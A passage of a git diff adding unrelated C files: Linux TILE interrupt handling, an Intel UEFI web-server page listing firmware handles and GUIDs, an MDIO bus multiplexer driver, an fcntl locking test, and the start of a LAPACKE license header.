+  INITIAL_INTERRUPTS_ENABLED;
+EXPORT_PER_CPU_SYMBOL(interrupts_enabled_mask);
+
+/* Define per-tile device interrupt statistics state. */
+DEFINE_PER_CPU(irq_cpustat_t, irq_stat) ____cacheline_internodealigned_in_smp;
+EXPORT_PER_CPU_SYMBOL(irq_stat);
+
+/*
+ * Define per-tile irq disable mask; the hardware/HV only has a single
+ * mask that we use to implement both masking and disabling.
+ */
+static DEFINE_PER_CPU(unsigned long, irq_disable_mask)
+	____cacheline_internodealigned_in_smp;
+
+/*
+ * Per-tile IRQ nesting depth.  Used to make sure we enable newly
+ * enabled IRQs before exiting the outermost interrupt.
+ */
+static DEFINE_PER_CPU(int, irq_depth);
+
+/* State for allocating IRQs on Gx. */
+#if CHIP_HAS_IPI()
+static unsigned long available_irqs = ~(1UL << IRQ_RESCHEDULE);
+static DEFINE_SPINLOCK(available_irqs_lock);
+#endif
+
+#if CHIP_HAS_IPI()
+/* Use SPRs to manipulate device interrupts. */
+#define mask_irqs(irq_mask) __insn_mtspr(SPR_IPI_MASK_SET_K, irq_mask)
+#define unmask_irqs(irq_mask) __insn_mtspr(SPR_IPI_MASK_RESET_K, irq_mask)
+#define clear_irqs(irq_mask) __insn_mtspr(SPR_IPI_EVENT_RESET_K, irq_mask)
+#else
+/* Use HV to manipulate device interrupts. */
+#define mask_irqs(irq_mask) hv_disable_intr(irq_mask)
+#define unmask_irqs(irq_mask) hv_enable_intr(irq_mask)
+#define clear_irqs(irq_mask) hv_clear_intr(irq_mask)
+#endif
+
+/*
+ * The interrupt handling path, implemented in terms of HV interrupt
+ * emulation on TILE64 and TILEPro, and IPI hardware on TILE-Gx.
+ */
+void tile_dev_intr(struct pt_regs *regs, int intnum)
+{
+	int depth = __get_cpu_var(irq_depth)++;
+	unsigned long original_irqs;
+	unsigned long remaining_irqs;
+	struct pt_regs *old_regs;
+
+#if CHIP_HAS_IPI()
+	/*
+	 * Pending interrupts are listed in an SPR.  We might be
+	 * nested, so be sure to only handle irqs that weren't already
+	 * masked by a previous interrupt.  Then, mask out the ones
+	 * we're going to handle.
+	 */
+	unsigned long masked = __insn_mfspr(SPR_IPI_MASK_K);
+	original_irqs = __insn_mfspr(SPR_IPI_EVENT_K) & ~masked;
+	__insn_mtspr(SPR_IPI_MASK_SET_K, original_irqs);
+#else
+	/*
+	 * Hypervisor performs the equivalent of the Gx code above and
+	 * then puts the pending interrupt mask into a system save reg
+	 * for us to find.
+	 */
+	original_irqs = __insn_mfspr(SPR_SYSTEM_SAVE_K_3);
+#endif
+	remaining_irqs = original_irqs;
+
+	/* Track time spent here in an interrupt context. */
+	old_regs = set_irq_regs(regs);
+	irq_enter();
+
+#ifdef CONFIG_DEBUG_STACKOVERFLOW
+	/* Debugging check for stack overflow: less than 1/8th stack free? */
+	{
+		long sp = stack_pointer - (long) current_thread_info();
+		if (unlikely(sp < (sizeof(struct thread_info) + STACK_WARN))) {
+			pr_emerg("tile_dev_intr: "
+			       "stack overflow: %ld\n",
+			       sp - sizeof(struct thread_info));
+			dump_stack();
+		}
+	}
+#endif
+	while (remaining_irqs) {
+		unsigned long irq = __ffs(remaining_irqs);
+		remaining_irqs &= ~(1UL << irq);
+
+		/* Count device irqs; Linux IPIs are counted elsewhere. */
+		if (irq != IRQ_RESCHEDULE)
+			__get_cpu_var(irq_stat).irq_dev_intr_count++;
+
+		generic_handle_irq(irq);
+	}
+
+	/*
+	 * If we weren't nested, turn on all enabled interrupts,
+	 * including any that were reenabled during interrupt
+	 * handling.
+	 */
+	if (depth == 0)
+		unmask_irqs(~__get_cpu_var(irq_disable_mask));
+
+	__get_cpu_var(irq_depth)--;
+
+	/*
+	 * Track time spent against the current process again and
+	 * process any softirqs if they are waiting.
+	 */
+	irq_exit();
+	set_irq_regs(old_regs);
+}
+
+
+/*
+ * Remove an irq from the disabled mask.  If we're in an interrupt
+ * context, defer enabling the HW interrupt until we leave.
+ */
+void enable_percpu_irq(unsigned int irq)
+{
+	get_cpu_var(irq_disable_mask) &= ~(1UL << irq);
+	if (__get_cpu_var(irq_depth) == 0)
+		unmask_irqs(1UL << irq);
+	put_cpu_var(irq_disable_mask);
+}
+EXPORT_SYMBOL(enable_percpu_irq);
+
+/*
+ * Add an irq to the disabled mask.  We disable the HW interrupt
+ * immediately so that there's no possibility of it firing.  If we're
+ * in an interrupt context, the return path is careful to avoid
+ * unmasking a newly disabled interrupt.
+ */
+void disable_percpu_irq(unsigned int irq)
+{
+	get_cpu_var(irq_disable_mask) |= (1UL << irq);
+	mask_irqs(1UL << irq);
+	put_cpu_var(irq_disable_mask);
+}
+EXPORT_SYMBOL(disable_percpu_irq);
+
+/* Mask an interrupt. */
+static void tile_irq_chip_mask(struct irq_data *d)
+{
+	mask_irqs(1UL << d->irq);
+}
+
+/* Unmask an interrupt. */
+static void tile_irq_chip_unmask(struct irq_data *d)
+{
+	unmask_irqs(1UL << d->irq);
+}
+
+/*
+ * Clear an interrupt before processing it so that any new assertions
+ * will trigger another irq.
+ */
+static void tile_irq_chip_ack(struct irq_data *d)
+{
+	if ((unsigned long)irq_data_get_irq_chip_data(d) != IS_HW_CLEARED)
+		clear_irqs(1UL << d->irq);
+}
+
+/*
+ * For per-cpu interrupts, we need to avoid unmasking any interrupts
+ * that we disabled via disable_percpu_irq().
+ */
+static void tile_irq_chip_eoi(struct irq_data *d)
+{
+	if (!(__get_cpu_var(irq_disable_mask) & (1UL << d->irq)))
+		unmask_irqs(1UL << d->irq);
+}
+
+static struct irq_chip tile_irq_chip = {
+	.name = "tile_irq_chip",
+	.irq_ack = tile_irq_chip_ack,
+	.irq_eoi = tile_irq_chip_eoi,
+	.irq_mask = tile_irq_chip_mask,
+	.irq_unmask = tile_irq_chip_unmask,
+};
+
+void __init init_IRQ(void)
+{
+	ipi_init();
+}
+
+void setup_irq_regs(void)
+{
+	/* Enable interrupt delivery. */
+	unmask_irqs(~0UL);
+#if CHIP_HAS_IPI()
+	arch_local_irq_unmask(INT_IPI_K);
+#endif
+}
+
+void tile_irq_activate(unsigned int irq, int tile_irq_type)
+{
+	/*
+	 * We use handle_level_irq() by default because the pending
+	 * interrupt vector (whether modeled by the HV on TILE64 and
+	 * TILEPro or implemented in hardware on TILE-Gx) has
+	 * level-style semantics for each bit.  An interrupt fires
+	 * whenever a bit is high, not just at edges.
+	 */
+	irq_flow_handler_t handle = handle_level_irq;
+	if (tile_irq_type == TILE_IRQ_PERCPU)
+		handle = handle_percpu_irq;
+	irq_set_chip_and_handler(irq, &tile_irq_chip, handle);
+
+	/*
+	 * Flag interrupts that are hardware-cleared so that ack()
+	 * won't clear them.
+	 */
+	if (tile_irq_type == TILE_IRQ_HW_CLEAR)
+		irq_set_chip_data(irq, (void *)IS_HW_CLEARED);
+}
+EXPORT_SYMBOL(tile_irq_activate);
+
+
+void ack_bad_irq(unsigned int irq)
+{
+	pr_err("unexpected IRQ trap at vector %02x\n", irq);
+}
+
+/*
+ * Generic, controller-independent functions:
+ */
+
+#if CHIP_HAS_IPI()
+int create_irq(void)
+{
+	unsigned long flags;
+	int result;
+
+	spin_lock_irqsave(&available_irqs_lock, flags);
+	if (available_irqs == 0)
+		result = -ENOMEM;
+	else {
+		result = __ffs(available_irqs);
+		available_irqs &= ~(1UL << result);
+		dynamic_irq_init(result);
+	}
+	spin_unlock_irqrestore(&available_irqs_lock, flags);
+
+	return result;
+}
+EXPORT_SYMBOL(create_irq);
+
+void destroy_irq(unsigned int irq)
+{
+	unsigned long flags;
+
+	spin_lock_irqsave(&available_irqs_lock, flags);
+	available_irqs |= (1UL << irq);
+	dynamic_irq_cleanup(irq);
+	spin_unlock_irqrestore(&available_irqs_lock, flags);
+}
+EXPORT_SYMBOL(destroy_irq);
+#endif
diff --git a/pool/shard001/C/0024732_Handles.c b/pool/shard001/C/0024732_Handles.c
new file mode 100644
index 0000000000000000000000000000000000000000..f39620aa486fc97bd5d0014b7b1df0ed8d5a6dc6
--- /dev/null
+++ b/pool/shard001/C/0024732_Handles.c
@@ -0,0 +1,294 @@
+/*++
+  This file contains an 'Intel UEFI Application' and is        
+  licensed for Intel CPUs and chipsets under the terms of your  
+  license agreement with Intel or your vendor.  This file may   
+  be modified by the user, subject to additional terms of the   
+  license agreement                                             
+--*/
+/*++
+
+Copyright (c)  2011 Intel Corporation. All rights reserved
+This software and associated documentation (if any) is furnished
+under a license and may only be used or copied in accordance
+with the terms of the license. Except as permitted by such
+license, no part of this software or documentation may be
+reproduced, stored in a retrieval system, or transmitted in any
+form or by any means without the express written consent of
+Intel Corporation.
+
+--*/
+
+/** @file
+  Display the handles in the system
+
+**/
+
+#include <WebServer.h>
+
+
+/**
+  Respond with the handles in the system
+
+  @param [in] SocketFD      The socket's file descriptor to add to the list.
+  @param [in] pPort         The WSDT_PORT structure address
+  @param [out] pbDone       Address to receive the request completion status
+
+  @retval EFI_SUCCESS       The request was successfully processed
+
+**/
+EFI_STATUS
+HandlePage (
+  IN int SocketFD,
+  IN WSDT_PORT * pPort,
+  OUT BOOLEAN * pbDone
+  )
+{
+  INTN Digit;
+  INTN Entries;
+  INTN Index;
+  UINTN GuidCount;
+  UINTN LengthInBytes;
+  UINT8 * pDigit;
+  EFI_HANDLE * pHandleArray;
+  EFI_HANDLE * pHandle;
+  EFI_HANDLE * pHandleEnd;
+  EFI_GUID ** ppGuidArray;
+  EFI_GUID ** ppGuid;
+  EFI_GUID ** ppGuidEnd;
+  INTN Shift;
+  EFI_STATUS Status;
+  UINTN Value;
+  CONST UINTN cDigit [] = {
+    3, 2, 1, 0, 5, 4, 7, 6, 8, 9, 10, 11, 12, 13, 14, 15 };
+  
+  DBG_ENTER ( );
+  
+  //
+  //  Send the handles page
+  //
+  for ( ; ; ) {
+    //
+    //  Send the page header
+    //
+    Status = HttpPageHeader ( SocketFD, pPort, L"Handle Database" );
+    if ( EFI_ERROR ( Status )) {
+      break;
+    }
+
+    //
+    //  Build the table header
+    //
+    Status = HttpSendAnsiString ( SocketFD,
+                                  pPort,
+                                  "<h1>Handle Database</h1>\r\n"
+                                  "<table border=\"1\">\r\n"
+                                  "  <tr bgcolor=\"c0c0ff\"><th>Handle</th><th>Protocol Guids</th></tr>\r\n" );
+    if ( EFI_ERROR ( Status )) {
+      break;
+    }
+
+    //
+    //  Determine the number of handles in the database
+    //
+    LengthInBytes = 0;
+    Status = gBS->LocateHandle ( AllHandles,
+                                 NULL,
+                                 NULL,
+                                 &LengthInBytes,
+                                 NULL );
+    if ( EFI_BUFFER_TOO_SMALL == Status ) {
+      //
+      //  Allocate space for the handles
+      //
+      Status = gBS->AllocatePool ( EfiRuntimeServicesData,
+                                   LengthInBytes,
+                                   (VOID **) &pHandleArray );
+      if ( !EFI_ERROR ( Status )) {
+        //
+        //  Get the list of handles
+        //
+        Status = gBS->LocateHandle ( AllHandles,
+                                     NULL,
+                                     NULL,
+                                     &LengthInBytes,
+                                     pHandleArray );
+        if ( !EFI_ERROR ( Status )) {
+          Entries = LengthInBytes / sizeof ( *pHandleArray );
+          pHandle = pHandleArray;
+          pHandleEnd = &pHandle [ Entries ];
+          while ( pHandleEnd > pHandle ) {
+            //
+            //  Build the table entry for this page
+            //
+            Status = HttpSendAnsiString ( SocketFD,
+                                          pPort,
+                                          "<tr><td><code>0x" );
+            if ( EFI_ERROR ( Status )) {
+              break;
+            }
+            Value = (UINTN) *pHandle;
+            for ( Shift = ( sizeof ( Shift ) << 3 ) - 4; 0 <= Shift; Shift -= 4 ) {
+              //
+              //  Convert the next address nibble to ANSI hex
+              //
+              Digit = (( Value >> Shift ) & 0xf ) | '0';
+              if ( '9' < Digit ) {
+                Digit += 'a' - '0' - 10;
+              }
+
+              //
+              //  Display the address digit
+              //
+              Status = HttpSendByte ( SocketFD,
+                                      pPort,
+                                      (UINT8) Digit );
+              if ( EFI_ERROR ( Status )) {
+                break;
+              }
+            }
+            if ( EFI_ERROR ( Status )) {
+              break;
+            }
+
+            //
+            //  Start the second column
+            //
+            Status = HttpSendAnsiString ( SocketFD,
+                                          pPort,
+                                          "</code></td><td><code>\r\n" );
+            if ( EFI_ERROR ( Status )) {
+              break;
+            }
+
+            //
+            //  Determine the number of protocols connected to this handle
+            //
+            Status = gBS->ProtocolsPerHandle ( *pHandle,
+                                               &ppGuidArray,
+                                               &GuidCount );
+            if ( EFI_ERROR ( Status )) {
+              break;
+            }
+            ppGuid = ppGuidArray;
+            ppGuidEnd = &ppGuid [ GuidCount ];
+            while ( ppGuidEnd > ppGuid ) {
+              //
+              //  Display the guid
+              //
+              pDigit = (UINT8 *) *ppGuid;
+              for ( Index = 0; 16 > Index; Index++ ) {
+                //
+                //  Separate the portions of the GUID
+                //  99E87DCF-6162-40c5-9FA1-32111F5197F7
+                //
+                if (( 4 == Index )
+                  || ( 6 == Index )
+                  || ( 8 == Index )
+                  || ( 10 == Index )) {
+                  Status = HttpSendByte ( SocketFD,
+                                          pPort,
+                                          '-' );
+                  if ( EFI_ERROR ( Status )) {
+                    break;
+                  }
+                }
+
+                //
+                //  Display the GUID digits
+                //
+                Value = pDigit [ cDigit [ Index ]];
+                for ( Shift = 4; 0 <= Shift; Shift -= 4 ) {
+                  //
+                  //  Convert the next address nibble to ANSI hex
+                  //
+                  Digit = (( Value >> Shift ) & 0xf ) | '0';
+                  if ( '9' < Digit ) {
+                    Digit += 'a' - '0' - 10;
+                  }
+                
+                  //
+                  //  Display the address digit
+                  //
+                  Status = HttpSendByte ( SocketFD,
+                                          pPort,
+                                          (UINT8) Digit );
+                  if ( EFI_ERROR ( Status )) {
+                    break;
+                  }
+                }
+                if ( EFI_ERROR ( Status )) {
+                  break;
+                }
+              }
+
+              //
+              //  Separate each GUID
+              //
+              Status = HttpSendAnsiString ( SocketFD,
+                                            pPort,
+                                            "<br/>\r\n" );
+              if ( EFI_ERROR ( Status )) {
+                break;
+              }
+
+              //
+              //  Set the next protocol
+              //
+              ppGuid+= 1;
+            }
+
+            //
+            //  Free the GUID array
+            //
+            gBS->FreePool ( ppGuidArray );
+            if ( EFI_ERROR ( Status )) {
+              break;
+            }
+
+            //
+            //  End the row
+            //
+            Status = HttpSendAnsiString ( SocketFD,
+                                          pPort,
+                                          "</code></td></tr>\r\n" );
+            if ( EFI_ERROR ( Status )) {
+              break;
+            }
+
+            //
+            //  Set the next handle
+            //
+            pHandle += 1;
+          }
+        }
+
+        //
+        //  Done with the handle array
+        //
+        gBS->FreePool ( pHandleArray );
+      }
+    }
+    
+    //
+    //  Build the table trailer
+    //
+    Status = HttpSendAnsiString ( SocketFD,
+                                  pPort,
+                                  "</table>\r\n" );
+    if ( EFI_ERROR ( Status )) {
+      break;
+    }
+
+    //
+    //  Send the page trailer
+    //
+    Status = HttpPageTrailer ( SocketFD, pPort, pbDone );
+    break;
+  }
+    
+  //
+  //  Return the operation status
+  //
+  DBG_EXIT_STATUS ( Status );
+  return Status;
+}
diff --git a/pool/shard001/C/0024734_mdio-mux.c b/pool/shard001/C/0024734_mdio-mux.c
new file mode 100644
index 0000000000000000000000000000000000000000..5c81d6faf304f5772907972afa363932212526f7
--- /dev/null
+++ b/pool/shard001/C/0024734_mdio-mux.c
@@ -0,0 +1,204 @@
+/*
+ * This file is subject to the terms and conditions of the GNU General Public
+ * License.  See the file "COPYING" in the main directory of this archive
+ * for more details.
+ *
+ * Copyright (C) 2011, 2012 Cavium, Inc.
+ */
+
+#include <linux/platform_device.h>
+#include <linux/mdio-mux.h>
+#include <linux/of_mdio.h>
+#include <linux/device.h>
+#include <linux/module.h>
+#include <linux/phy.h>
+
+#define DRV_VERSION "1.0"
+#define DRV_DESCRIPTION "MDIO bus multiplexer driver"
+
+struct mdio_mux_child_bus;
+
+struct mdio_mux_parent_bus {
+	struct mii_bus *mii_bus;
+	int current_child;
+	int parent_id;
+	void *switch_data;
+	int (*switch_fn)(int current_child, int desired_child, void *data);
+
+	/* List of our children linked through their next fields. */
+	struct mdio_mux_child_bus *children;
+};
+
+struct mdio_mux_child_bus {
+	struct mii_bus *mii_bus;
+	struct mdio_mux_parent_bus *parent;
+	struct mdio_mux_child_bus *next;
+	int bus_number;
+};
+
+/*
+ * The parent bus' lock is used to order access to the switch_fn.
+ */
+static int mdio_mux_read(struct mii_bus *bus, int phy_id, int regnum)
+{
+	struct mdio_mux_child_bus *cb = bus->priv;
+	struct mdio_mux_parent_bus *pb = cb->parent;
+	int r;
+
+	mutex_lock_nested(&pb->mii_bus->mdio_lock, MDIO_MUTEX_MUX);
+	r = pb->switch_fn(pb->current_child, cb->bus_number, pb->switch_data);
+	if (r)
+		goto out;
+
+	pb->current_child = cb->bus_number;
+
+	r = pb->mii_bus->read(pb->mii_bus, phy_id, regnum);
+out:
+	mutex_unlock(&pb->mii_bus->mdio_lock);
+
+	return r;
+}
+
+/*
+ * The parent bus' lock is used to order access to the switch_fn.
+ */
+static int mdio_mux_write(struct mii_bus *bus, int phy_id,
+			  int regnum, u16 val)
+{
+	struct mdio_mux_child_bus *cb = bus->priv;
+	struct mdio_mux_parent_bus *pb = cb->parent;
+
+	int r;
+
+	mutex_lock_nested(&pb->mii_bus->mdio_lock, MDIO_MUTEX_MUX);
+	r = pb->switch_fn(pb->current_child, cb->bus_number, pb->switch_data);
+	if (r)
+		goto out;
+
+	pb->current_child = cb->bus_number;
+
+	r = pb->mii_bus->write(pb->mii_bus, phy_id, regnum, val);
+out:
+	mutex_unlock(&pb->mii_bus->mdio_lock);
+
+	return r;
+}
+
+static int parent_count;
+
+int mdio_mux_init(struct device *dev,
+		  int (*switch_fn)(int cur, int desired, void *data),
+		  void **mux_handle,
+		  void *data)
+{
+	struct device_node *parent_bus_node;
+	struct device_node *child_bus_node;
+	int r, ret_val;
+	struct mii_bus *parent_bus;
+	struct mdio_mux_parent_bus *pb;
+	struct mdio_mux_child_bus *cb;
+
+	if (!dev->of_node)
+		return -ENODEV;
+
+	parent_bus_node = of_parse_phandle(dev->of_node, "mdio-parent-bus", 0);
+
+	if (!parent_bus_node)
+		return -ENODEV;
+
+	pb = devm_kzalloc(dev, sizeof(*pb), GFP_KERNEL);
+	if (pb == NULL) {
+		ret_val = -ENOMEM;
+		goto err_parent_bus;
+	}
+
+	parent_bus = of_mdio_find_bus(parent_bus_node);
+	if (parent_bus == NULL) {
+		ret_val = -EPROBE_DEFER;
+		goto err_parent_bus;
+	}
+
+	pb->switch_data = data;
+	pb->switch_fn = switch_fn;
+	pb->current_child = -1;
+	pb->parent_id = parent_count++;
+	pb->mii_bus = parent_bus;
+
+	ret_val = -ENODEV;
+	for_each_available_child_of_node(dev->of_node, child_bus_node) {
+		u32 v;
+
+		r = of_property_read_u32(child_bus_node, "reg", &v);
+		if (r)
+			continue;
+
+		cb = devm_kzalloc(dev, sizeof(*cb), GFP_KERNEL);
+		if (cb == NULL) {
+			dev_err(dev,
+				"Error: Failed to allocate memory for child\n");
+			ret_val = -ENOMEM;
+			of_node_put(child_bus_node);
+			break;
+		}
+		cb->bus_number = v;
+		cb->parent = pb;
+
+		cb->mii_bus = mdiobus_alloc();
+		if (!cb->mii_bus) {
+			ret_val = -ENOMEM;
+			of_node_put(child_bus_node);
+			break;
+		}
+		cb->mii_bus->priv = cb;
+
+		cb->mii_bus->name = "mdio_mux";
+		snprintf(cb->mii_bus->id, MII_BUS_ID_SIZE, "%x.%x",
+			 pb->parent_id, v);
+		cb->mii_bus->parent = dev;
+		cb->mii_bus->read = mdio_mux_read;
+		cb->mii_bus->write = mdio_mux_write;
+		r = of_mdiobus_register(cb->mii_bus, child_bus_node);
+		if (r) {
+			mdiobus_free(cb->mii_bus);
+			devm_kfree(dev, cb);
+		} else {
+			of_node_get(child_bus_node);
+			cb->next = pb->children;
+			pb->children = cb;
+		}
+	}
+	if (pb->children) {
+		*mux_handle = pb;
+		dev_info(dev, "Version " DRV_VERSION "\n");
+		return 0;
+	}
+
+	/* balance the reference of_mdio_find_bus() took */
+	put_device(&pb->mii_bus->dev);
+
+err_parent_bus:
+	of_node_put(parent_bus_node);
+	return ret_val;
+}
+EXPORT_SYMBOL_GPL(mdio_mux_init);
+
+void mdio_mux_uninit(void *mux_handle)
+{
+	struct mdio_mux_parent_bus *pb = mux_handle;
+	struct mdio_mux_child_bus *cb = pb->children;
+
+	while (cb) {
+		mdiobus_unregister(cb->mii_bus);
+		mdiobus_free(cb->mii_bus);
+		cb = cb->next;
+	}
+
+	/* balance the reference of_mdio_find_bus() in mdio_mux_init() took */
+	put_device(&pb->mii_bus->dev);
+}
+EXPORT_SYMBOL_GPL(mdio_mux_uninit);
+
+MODULE_DESCRIPTION(DRV_DESCRIPTION);
+MODULE_VERSION(DRV_VERSION);
+MODULE_AUTHOR("David Daney");
+MODULE_LICENSE("GPL");
diff --git a/pool/shard001/C/0024743_fcntl10.c b/pool/shard001/C/0024743_fcntl10.c
new file mode 100644
index 0000000000000000000000000000000000000000..2a37620d293833715e787ea17033cc6fe5f14085
--- /dev/null
+++ b/pool/shard001/C/0024743_fcntl10.c
@@ -0,0 +1,283 @@
+/*
+ * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of version 2 of the GNU General Public License as
+ * published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it would be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * Further, this software is distributed without any warranty that it is
+ * free of the rightful claim of any third person regarding infringement
+ * or the like.  Any license provided herein, whether implied or
+ * otherwise, applies only to this software file.  Patent licenses, if
+ * any, provided herein do not apply to combinations of this program with
+ * other software, or any other product whatsoever.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program; if not, write the Free Software Foundation, Inc.,
+ * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ *
+ * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
+ * Mountain View, CA  94043, or:
+ *
+ * http://www.sgi.com
+ *
+ * For further information regarding this notice, see:
+ *
+ * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
+ *
+ */
+/* $Id: fcntl10.c,v 1.8 2009/10/26 14:55:46 subrata_modak Exp $ */
+/**********************************************************
+ *
+ *    OS Test - Silicon Graphics, Inc.
+ *
+ *    TEST IDENTIFIER	: fcntl10
+ *
+ *    EXECUTED BY	: anyone
+ *
+ *    TEST TITLE	: Basic test for fcntl(2) using F_SETLKW argument.
+ *
+ *    PARENT DOCUMENT	: usctpl01
+ *
+ *    TEST CASE TOTAL	: 2
+ *
+ *    WALL CLOCK TIME	: 1
+ *
+ *    CPU TYPES		: ALL
+ *
+ *    AUTHOR		: William Roske
+ *
+ *    CO-PILOT		: Dave Fenner
+ *
+ *    DATE STARTED	: 03/30/92
+ *
+ *    INITIAL RELEASE	: UNICOS 7.0
+ *
+ *    TEST CASES
+ *
+ *	1.) fcntl(2) returns...(See Description)
+ *
+ *    INPUT SPECIFICATIONS
+ *	The standard options for system call tests are accepted.
+ *	(See the parse_opts(3) man page).
+ *
+ *    OUTPUT SPECIFICATIONS
+ *
+ *    DURATION
+ *	Terminates - with frequency and infinite modes.
+ *
+ *    SIGNALS
+ *	Uses SIGUSR1 to pause before test if option set.
+ *	(See the parse_opts(3) man page).
+ *
+ *    RESOURCES
+ *	None
+ *
+ *    ENVIRONMENTAL NEEDS
+ *      No run-time environmental needs.
+ *
+ *    SPECIAL PROCEDURAL REQUIREMENTS
+ *	None
+ *
+ *    INTERCASE DEPENDENCIES
+ *	None
+ *
+ *    DETAILED DESCRIPTION
+ *	This is a Phase I test for the fcntl(2) system call.  It is intended
+ *	to provide a limited exposure of the system call, for now.  It
+ *	should/will be extended when full functional tests are written for
+ *	fcntl(2).
+ *
+ *	Setup:
+ *	  Setup signal handling.
+ *	  Pause for SIGUSR1 if option specified.
+ *
+ *	Test:
+ *	 Loop if the proper options are given.
+ *	  Execute system call
+ *	  Check return code, if system call failed (return=-1)
+ *		Log the errno and Issue a FAIL message.
+ *	  Otherwise, Issue a PASS message.
+ *
+ *	Cleanup:
+ *	  Print errno log and/or timing stats if options given
+ *
+ *
+ *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
+
+#include <sys/types.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <sys/stat.h>
+#include <errno.h>
+#include <string.h>
+#include <signal.h>
+#include "test.h"
+#include "usctest.h"
+
+void setup();
+void cleanup();
+
+char *TCID = "fcntl10";
+int TST_TOTAL = 2;
+
+int exp_enos[] = { 0, 0 };
+
+char fname[255];
+int fd;
+struct flock flocks;
+
+int main(int ac, char **av)
+{
+	int lc;
+	char *msg;
+
+    /***************************************************************
+     * parse standard options
+     ***************************************************************/
+	if ((msg = parse_opts(ac, av, NULL, NULL)) != NULL)
+		tst_brkm(TBROK, NULL, "OPTION PARSING ERROR - %s", msg);
+
+    /***************************************************************
+     * perform global setup for test
+     ***************************************************************/
+	setup();
+
+	/* set the expected errnos... */
+	TEST_EXP_ENOS(exp_enos);
+
+    /***************************************************************
+     * check looping state if -c option given
+     ***************************************************************/
+	for (lc = 0; TEST_LOOPING(lc); lc++) {
+		int type;
+		for (type = 0; type < 2; type++) {
+
+			tst_count = 0;
+
+			flocks.l_type = type ? F_RDLCK : F_WRLCK;
+
+			/*
+			 * Call fcntl(2) with F_SETLKW flocks.l_type = F_UNLCK argument on fname
+			 */
+			TEST(fcntl(fd, F_SETLKW, &flocks));
+
+			/* check return code */
+			if (TEST_RETURN == -1) {
+				TEST_ERROR_LOG(TEST_ERRNO);
+				tst_resm(TFAIL,
+					 "fcntl(%s, F_SETLKW, &flocks) flocks.l_type = %s Failed, errno=%d : %s",
+					 fname, type ? "F_RDLCK" : "F_WRLCK",
+					 TEST_ERRNO, strerror(TEST_ERRNO));
+			} else {
+
+	    /***************************************************************
+	     * only perform functional verification if flag set (-f not given)
+	     ***************************************************************/
+				if (STD_FUNCTIONAL_TEST) {
+					/* No Verification test, yet... */
+					tst_resm(TPASS,
+						 "fcntl(%s, F_SETLKW, &flocks) flocks.l_type = %s returned %ld",
+						 fname,
+						 type ? "F_RDLCK" : "F_WRLCK",
+						 TEST_RETURN);
+				}
+			}
+
+			flocks.l_type = F_UNLCK;
+			/*
+			 * Call fcntl(2) with F_SETLKW flocks.l_type = F_UNLCK argument on fname
+			 */
+			TEST(fcntl(fd, F_SETLKW, &flocks));
+
+			/* check return code */
+			if (TEST_RETURN == -1) {
+				TEST_ERROR_LOG(TEST_ERRNO);
+				tst_resm(TFAIL,
+					 "fcntl(%s, F_SETLKW, &flocks) flocks.l_type = F_UNLCK Failed, errno=%d : %s",
+					 fname, TEST_ERRNO,
+					 strerror(TEST_ERRNO));
+			} else {
+
+	    /***************************************************************
+	     * only perform functional verification if flag set (-f not given)
+	     ***************************************************************/
+				if (STD_FUNCTIONAL_TEST) {
+					/* No Verification test, yet... */
+					tst_resm(TPASS,
+						 "fcntl(%s, F_SETLKW, &flocks) flocks.l_type = F_UNLCK returned %ld",
+						 fname, TEST_RETURN);
+				}
+			}
+
+		}
+	}
+
+    /***************************************************************
+     * cleanup and exit
+     ***************************************************************/
+	cleanup();
+	tst_exit();
+
+}
+
+/***************************************************************
+ * setup() - performs all ONE TIME setup for this test.
+ ***************************************************************/
+void setup()
+{
+
+	tst_sig(NOFORK, DEF_HANDLER, cleanup);
+
+	TEST_PAUSE;
+
+	tst_tmpdir();
+
+	sprintf(fname, "tfile_%d", getpid());
+	if ((fd = creat(fname, 0644)) == -1) {
+		tst_brkm(TBROK, cleanup,
+			 "creat(%s, 0644) Failed, errno=%d : %s", fname, errno,
+			 strerror(errno));
+	} else if (close(fd) == -1) {
+		tst_brkm(TBROK, cleanup, "close(%s) Failed, errno=%d : %s",
+			 fname, errno, strerror(errno));
+	} else if ((fd = open(fname, O_RDWR, 0700)) == -1) {
+		tst_brkm(TBROK, cleanup,
+			 "open(%s, O_RDWR,0700) Failed, errno=%d : %s", fname,
+			 errno, strerror(errno));
+	}
+
+	/* set needed fields in the flocks structure */
+	flocks.l_whence = 1;
+	flocks.l_start = 0;
+	flocks.l_len = 0;
+	flocks.l_pid = getpid();
+}
+
+/***************************************************************
+ * cleanup() - performs all ONE TIME cleanup for this test at
+ *		completion or premature exit.
+ ***************************************************************/
+void cleanup()
+{
+	/*
+	 * print timing stats if that option was specified.
+	 * print errno log if that option was specified.
+	 */
+	TEST_CLEANUP;
+
+	if (close(fd) == -1) {
+		tst_resm(TWARN, "close(%s) Failed, errno=%d : %s", fname, errno,
+			 strerror(errno));
+	} else if (unlink(fname) == -1) {
+		tst_resm(TWARN, "unlink(%s) Failed, errno=%d : %s", fname,
+			 errno, strerror(errno));
+	}
+
+	tst_rmdir();
+
+}
diff --git a/pool/shard001/C/0024756_lapacke_chpgvd.c b/pool/shard001/C/0024756_lapacke_chpgvd.c
new file mode 100644
index 0000000000000000000000000000000000000000..587d1509a7d6b926f8d1815d266c2c4f5fdf01e2
--- /dev/null
+++ b/pool/shard001/C/0024756_lapacke_chpgvd.c
@@ -0,0 +1,108 @@
+/*****************************************************************************
+  Copyright (c) 2014, Intel Corp.
+  All rights reserved.
+
+  Redistribution and use in source and binary forms, with or without
+  modification, are permitted provided that the following conditions are met:
+
+    * Redistributions of source code must retain the above copyright notice,
+      this list of conditions and the following disclaimer.
+    * Redistributions in binary form must reproduce the above copyright
+      notice, this list of conditions and the following disclaimer in the
+      documentation and/or other materials provided with the distribution.
+    * Neither the name of Intel Corporation nor the names of its contributors
+      may be used to endorse or promote products derived from this software
+      without specific prior written permission.
+
